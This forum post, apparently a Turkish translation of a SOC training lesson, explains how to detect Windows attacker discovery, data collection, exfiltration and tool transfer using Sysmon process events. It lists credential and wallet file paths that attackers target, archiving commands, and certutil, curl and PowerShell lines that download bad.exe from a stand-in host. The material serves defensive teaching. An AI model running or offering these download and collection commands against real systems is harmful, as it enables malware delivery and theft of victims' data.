Hoşgeldin Misafir

#STHM-Windows Tehdit Algılama 2

CW-ommah

17 Ocak 2022
904 Mesaj
TIM Görevleri
1

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Allah’ın Rahmeti Ve Bereketi Üzerinize Olsun
Selamun aleyküm dostlarım. Bu makalemizde ise Windows Olay Günlüğü kullanarak yaygın keşif tekniklerini tespit. Bir işlem ağacını yeniden oluşturarak saldırının kaynağını nasıl tespit edeceğinizi ve Zararlı komutların nasıl kaydedildiğini görmek için bunları kendiniz bulabiecelğimize bakacağız.

Durumsal Farkındalık
Suçlular ön kapıdan içeri girdikten sonra kapının arkasında ne olduğunu bilirler mi? Çoğu bilmez; bu yüzden odaları aramaya başlarlar: belki gizli bir hazine vardır, belki de harekete geçmeye hazır bir tuzak. Aynı durum, ortamı, onun değerini ve saldırıyı engelleyebilecek güvenlik araçlarını anlaması gereken siber tehdit aktörleri için de geçerlidir. Bu süreçde Discovery (Keşif) taktiğini ele alacağız.

1776761158200.png

Keşif Komutları
Bir rüyadan uyandığınızda aklınıza gelen ilk sorular “Ben kimim?” ve “Neredeyim?” olabilir. Aynı durum, bildikleri tüm e-posta adreslerine binlerce ek dosya göndermiş ancak ilk kez karşılaştıkları yalnızca birkaç sistemi ihlal edebilmiş tehdit aktörleri için de geçerlidir. Bu nedenle, kurbanın ayrıntılarını ortaya çıkarmaları gerekir:

Keşif AmacıYaygın CMD / PowerShell Komutları
Dosyalar ve Klasörler
Ana makinenin amacını, kurbanın işini veya ilgi alanlarını öğrenmek için
type <dosya>, Get-Content <dosya>, dir <klasör>, Get-ChildItem <klasör>
Kullanıcılar ve Gruplar
Ana makineyi kimin kullandığını ve hangi yetkilere sahip olduklarını öğrenmek için
whoami, net user, net localgroup, query user, Get-LocalUser
Sistem ve Uygulamalar
Zafiyetleri veya veri çalınabilecek uygulamaları tespit etmek için
tasklist /v, systeminfo, wmic product get name,version, Get-Service
Ağ Ayarları
Ana makinenin kurumsal bir ağa bağlı olup olmadığını anlamak için
ipconfig /all, netstat -ano, netsh advfirewall show allprofiles
Aktif Antivirüs
Saldırıya engellenmeden devam etmenin ne kadar riskli olduğunu anlamak için
Get-WmiObject -Namespace "root\SecurityCenter2" -Query "SELECT * FROM AntivirusProduct"

Keşif Süreci
Önceki bölümdeki oltalama (phishing) saldırı zincirini hatırlayın. Ek dosya çalıştırıldıktan sonra, kurbanı tanımlamak için temel keşif komutlarını çalıştırır; hatta belirli bir antivirüs yüklüyse veya kurban hedeflenen bir şirketten ya da ülkeden değilse kendini silebilir. Ardından tehdit aktörüne geri bağlantı kurarak kurban üzerinde tam kontrol sağlar. Bu noktadan sonra, insan saldırganlar gerekirse ek Keşif komutları yazabilir.

Saldırganlar Kurbanı Nasıl Kontrol Eder

1776761376314.png

CMD ile Keşif
Komut satırı üzerinden keşif yapmak, tehdit aktörleri için en yaygın ve en kolay yöntemdir. Bunun nedeni, varsayılan olarak tüm Windows makinelerinde bulunan “whoami” veya “ipconfig” gibi mevcut komutları kullanmasıdır. Neyse ki savunmacılar için, çalıştırılan komutların çoğu aşağıdaki süreç ağacında olduğu gibi yeni süreçler (process) olarak kaydedilir
Kod:
C:\Users\victim\Downloads\invoice.pdf.exe
├── C:\Windows\System32\cmd.exe
│   ├── ipconfig                                 // Show network settings
│   ├── whoami /priv                             // Show user permissions
│   ├── dir                                      // List current directory
│   ├── net user                                 // List all local users
│   ├── tasklist /v                              // Show running processes
│   └── wmic computersystem get model            // Query for laptop model
└── C:\Windows\...\powershell.exe
    ├── Get-Service                                  // List active services
    └── Get-MpPreference                         // Check MS Defender settings

GUI ile Keşif
Tehdit aktörlerinin, örneğin bir RDP ihlalinden sonra olduğu gibi sisteme etkileşimli olarak giriş yaptığı durumlarda, yalnızca komut satırıyla sınırlı kalmazlar (ancak alışkanlık gereği yine de sıklıkla kullanırlar). Grafiksel arayüze erişimleri olduğunda, saldırganların sizin kullandığınız araç setinin aynısını kullanmalarını engelleyen hiçbir şey yoktur: Uygulamalar ve Programlar, Sistem Ayarları, Disk Yönetimi veya hatta Olay Görüntüleyicisi. Bu senaryoda, tipik “whoami” komutlarını görmezsiniz; bunun yerine aşağıdaki gibi görünen bir süreç ağacıyla karşılaşırsınız:
Kod:
C:\Windows\System32\explorer.exe
├── C:\Windows\System32\cmd.exe                                   // Attacker can still use CMD!
│   └── ...
├── C:\Windows\system32\mmc.exe C:\Windows\system32\compmgmt.msc  // Open Computer Management
├── C:\Windows\system32\control.exe netconnections                // List network adapters
├── C:\Windows\ImmersiveControlPanel\SystemSettings.exe [...]     // Access settings panel
├── C:\Windows\system32\notepad.exe C:\...\secrets.txt            // Read a text file
└── C:\Windows\system32\taskmgr.exe                               // Run Task Manager

Keşfi Tespit Etme
Olası bir Keşif (Discovery) faaliyetini tespit etmenin ilk adımı, bir keşif komutu bulmak ya da daha iyisi, kısa bir zaman diliminde çalıştırılmış bir komut dizisini belirlemektir. Bunları, Sysmon olay kimliği 1 (event ID 1) ile izlenen süreç oluşturma olayları olarak veya PowerShell geçmiş dosyasındaki yeni satırlar şeklinde görebilirsiniz. Keşif komutlarının sayısı oldukça fazladır, bu nedenle bir komutun ne anlama geldiğinden emin değilseniz arama motoru kullanmaya hazır olun.
Sonraki adımda, bu komutların nereden geldiğini belirlemek önemlidir. “ipconfig” gibi komutlar genellikle BT (IT) departmanları ve meşru araçlar tarafından da kullanılır; bu yüzden bir iş arkadaşınız IP adresini kontrol etti diye gereksiz panik yaratmak istemezsiniz.

1776761515913.png

Koleksiyona Genel Bakış
Gizli Bilgileri Arama
suçlular dairedeki tüm odaları gezerken, ev sahibinin kim olduğunu, hangi değerli eşyaları sakladığını ve hangi tuzakların kurulu olduğunu öğrendikten sonra ne yapar? Asıl hazineyi alırlar — satılabilecek ya da tehdit aktörleri için değerli olan bir şeyi. Bu süreç, üç MITRE taktiğini daha içerir: Collection (Toplama), Credential Access (Kimlik Bilgisi Erişimi) ve Exfiltration (Veri Sızdırma) (daha basit olması için Credential Access’i Collection’ın bir parçası olarak ele alabiliriz).

1776761593964.png

Toplama Hedefleri
Hedefler, saldırganların amaçlarına bağlı olarak büyük ölçüde değişir. Bazı saldırganlar görüntüler veya sohbet konuşmaları gibi kişisel bilgilerin peşindeyken; diğerleri kripto cüzdanları, oyun hesapları veya bankacılık hesaplarını arar. Daha gelişmiş gruplar ise kurbana, kurumsal ağa erişim sağlamak için kullanır ve tam ölçekli bir fidye yazılımı (ransomware) şifrelemesi gerçekleştirmeyi hedefler.
Unutmayın ki hassas verilerin çoğu basit dosyalar halinde saklansa da, gizli bilgiler kayıt defterinde (registry) veya süreç belleğinde (process memory) de saklanabilir. Aşağıdaki kod bloğunda yaygın Toplama hedeflerini inceleyebilirsiniz:
Kod:
# [Goal: Blackmail Victim] Photos, Chats, Browser History
C:\Users\<user>\AppData\Roaming\Signal\*
C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\History

# [Goal: Steal Money] Web Banking Sessions, Crypto Wallets
C:\Users\<user>\AppData\Roaming\Bitcoin\wallet.dat
C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Cookies

# [Goal: Steal Corporate Data] SSH Credentials, Databases
C:\Users\<user>\.ssh\*
C:\Program Files\Microsoft SQL Server\...\DATA\*

Veri Sızdırma (Exfiltrating Data)
Veri toplama işlemi, scriptler (betikler) aracılığıyla otomatik olarak ya da insan tehdit aktörleri tarafından manuel olarak gerçekleştirilebilir. Scriptler için tüm süreç genellikle bir dakikadan az sürer, ancak saldırganın ilgi çekici dosyaları bulup incelemesi saatler alabilir. Yine de her iki yöntem de sonunda veri sızdırma (exfiltration) ile sonuçlanır — yani çalınan verilerin bir kontrol sunucusuna yüklenmesi.
Bu noktada tehdit aktörleri oldukça yaratıcı olabilir. Tespitten kaçınmak için genellikle şu yöntemleri kullanırlar:

  • Çalınan verileri Dropbox, Mega, Amazon S3 veya diğer güvenilir bulut depolama hizmetlerine sızdırmak (Örnek)
  • Çalınan verileri GitHub gibi bilinen kod depolarına veya Telegram gibi mesajlaşma uygulamalarına sızdırmak (Örnek)
  • Ya da “windows-updates.com” gibi güvenilir görünümlü bir alan adı oluşturup verileri buraya göndermek
Toplamayı (Collection) Tespit Etme
Keşif (Discovery) sürecinde olduğu gibi, tehdit aktörleri hassas dosyaları incelemek için hem komut satırı hem de grafiksel arayüz seçeneklerini kullanabilir. Ancak Toplama (Collection) aşamasında saldırganlar yalnızca sistem yapılandırmasını kontrol etmez; bunun yerine belirli dosya ve klasörleri ararlar. Bu nedenle, aşağıdaki gibi komutları izleyerek dosyalara erişimi tespit edebilirsiniz:

Komut ÖrneğiAçıklama
notepad.exe C:\Users\<kullanıcı>\Desktop\finances-2025.csvTehdit aktörleri, ilgi çekici dosyanın içeriğini kontrol etmek için Not Defteri’ni kullandı
`CMD: type debug-logs.txtfindstr password > C:\Temp\passwords.txt`
PowerShell: Get-ChildItem C:\Users\<kullanıcı> -Recurse -Filter *.pdfTehdit aktörleri, kullanıcının ana dizininde PDF dosyalarını aradı
PowerShell: copy C:\Users\<kullanıcı>\AppData\Roaming\Signal C:\Temp\Tehdit aktörleri, Signal sohbet geçmişini Temp dizinine kopyaladı
PowerShell: Compress-Archive C:\Temp\ C:\Temp\stolen_data.zipTehdit aktörleri, çalınan verileri arşivleyerek sızdırma (exfiltration) için hazırladı
7za.exe a -tzip C:\Temp\stolen_data.zip C:\Temp\*.*Alternatif olarak, tehdit aktörleri 7-Zip gibi mevcut arşivleme yazılımlarını kullanabilir
Manuel toplama sırasında veya scriptler kullanıldığında, temel komut ve süreçleri görürsünüz. Bu olayda, tehdit aktörleri yalnızca Notepad ve Wordpad kullanarak ilgilendikleri dosyaları açmış ve ardından tüm dosyaları tek seferde arşivlemek için 7-Zip kullanmıştır. Ekran görüntüsünden de görülebileceği gibi, bu işlemler Sysmon olay kimliği 1 (event ID 1) ile kolayca tespit edilmiştir.
1776761994635.png

Veri Hırsızları (Data Stealers)
İnsan tehdit aktörleri tarafından gerçekleştirilen toplama işlemi, genellikle saldırganın hedefini bildiği ve veri çalmak için uzun süre harcadığı büyük ağ ihlallerinde görülür. Ancak basit kişisel iş istasyonlarını hedefleyen saldırılarda genellikle insan saldırgan bulunmaz ve veri toplama işlemi, toplama ve sızdırma süreçlerini otomatikleştiren özel kötü amaçlı yazılımlar olan “data stealer” (veri hırsızı) tarafından gerçekleştirilir.
Örneğin, Gremlin adlı veri hırsızı, tek bir kötü amaçlı dosya olarak VPN profillerini, kripto para cüzdanlarını, web tarayıcı oturumlarını, Steam, Discord ve Telegram verilerini çalar ve hatta kurbanın ekran görüntülerini bile alır. Veri hırsızları genellikle CMD veya PowerShell komutlarını kullanmaz; bunun yerine kendi kodlarına dayanırlar, bu da hangi verinin tam olarak erişildiğini veya çalındığını anlamayı daha zor hale getirir.

1776762078925.png

Giriş Araç Aktarımı (Ingress Tool Transfer)
tamamen işlevsel bir kötü amaçlı yazılımla değil, küçük bir oltalama (phishing) ekiyle veya kırmızı takım araçları olmadan bir RDP oturumu üzerinden başlar. Bu nedenle saldırının bazı aşamalarında, tehdit aktörleri hedeflerine ulaşmak için ek araçlar indirmek zorunda kalabilir. Örneğin:

  • Seatbelt gibi yaygın zafiyetleri bulmak ve Keşif (Discovery) işlemlerini otomatikleştirmek için kullanılan bir betik (script)
  • Mimikatz gibi kayıtlı parolaları veya işletim sistemi kimlik bilgilerini çıkarmaya yarayan bir araç
  • Remcos RAT gibi tam işlevli bir Uzaktan Erişim Truva Atı (RAT)
  • Son olarak, veriler çalındıktan sonra sistemi şifrelemek için bir fidye yazılımı (ransomware) ikili dosyası
Ele geçirilen sisteme ek kötü amaçlı yazılımların indirilmesi süreci, MITRE çerçevesinde Ingress Tool Transfer (Giriş Araç Aktarımı) tekniği olarak adlandırılır ve çoğu siber saldırıda kullanılır. Daha önce, bir LNK ek dosyasının PowerShell kullanarak ek kötü amaçlı yazılım indirdiği bir örnek görmüştünüz(Görmemişseniz önceki yazdığım makaleleri lütfen okuyun), ancak PowerShell olmadan da kötü amaçlı yazılım aktarmanın birçok farklı yolu vardır.

Yaygın Aktarım Yöntemleri
“Tehdit aktörleri neden ihtiyaç duydukları her şeyi tek bir oltalama (phishing) ekine koymuyor?” diye sorabilirsiniz. Bunun farklı nedenleri olabilir; ancak en yaygın olanları, kötü amaçlı yazılımı birden fazla parçaya bölerek antivirüsleri atlatmak ve en başta yakalanmaları durumunda araçlarının veya istismarlarının (exploit) açığa çıkma riskini en aza indirmektir.

Giriş Araç Aktarımı KomutuYaygın CMD / PowerShell Komutları
Certutil üzerindencertutil.exe -urlcache -f https://blackhat.thm/bad.exe good.exe
Curl üzerinden (Windows 10+)curl.exe https://blackhat.thm/bad.exe -o good.exe
PowerShell IWR üzerindenpowershell -c "Invoke-WebRequest -Uri 'https://blackhat.thm/bad.exe' -OutFile 'good.exe'"
Grafiksel Arayüz üzerindenCMD kullanmaya gerek yoktur; yalnızca RDP üzerinden kopyala-yapıştır yaparak veya bir web tarayıcısı aracılığıyla kötü amaçlı yazılım indirerek gerçekleştirilir

Araç Aktarımını Tespit Etme
Bir aktarım bir ağ bağlantısı gerektirdiğinden, en iyi seçeneğiniz şüpheli süreçten gelen ağ bağlantısını veya DNS isteğini izlemek olacaktır. Ancak tehdit aktörleri genellikle GitHub gibi meşru hizmetlerden araç indirerek tespitten kaçınmaya çalışır. Bu nedenle, bağlantıyı hangi sürecin oluşturduğunu, hedef alan adını ve indirilen dosyayı dikkatlice analiz ettiğinizden emin olun. Aşağıdaki ekran görüntüsü tam bir olay zincirini göstermektedir:

1776762368797.png
1776762880624.pngOkuduğunuz için teşekkür ederim



CW-Ommah
Bug Researchers Tim Sundu...

1776762942724.png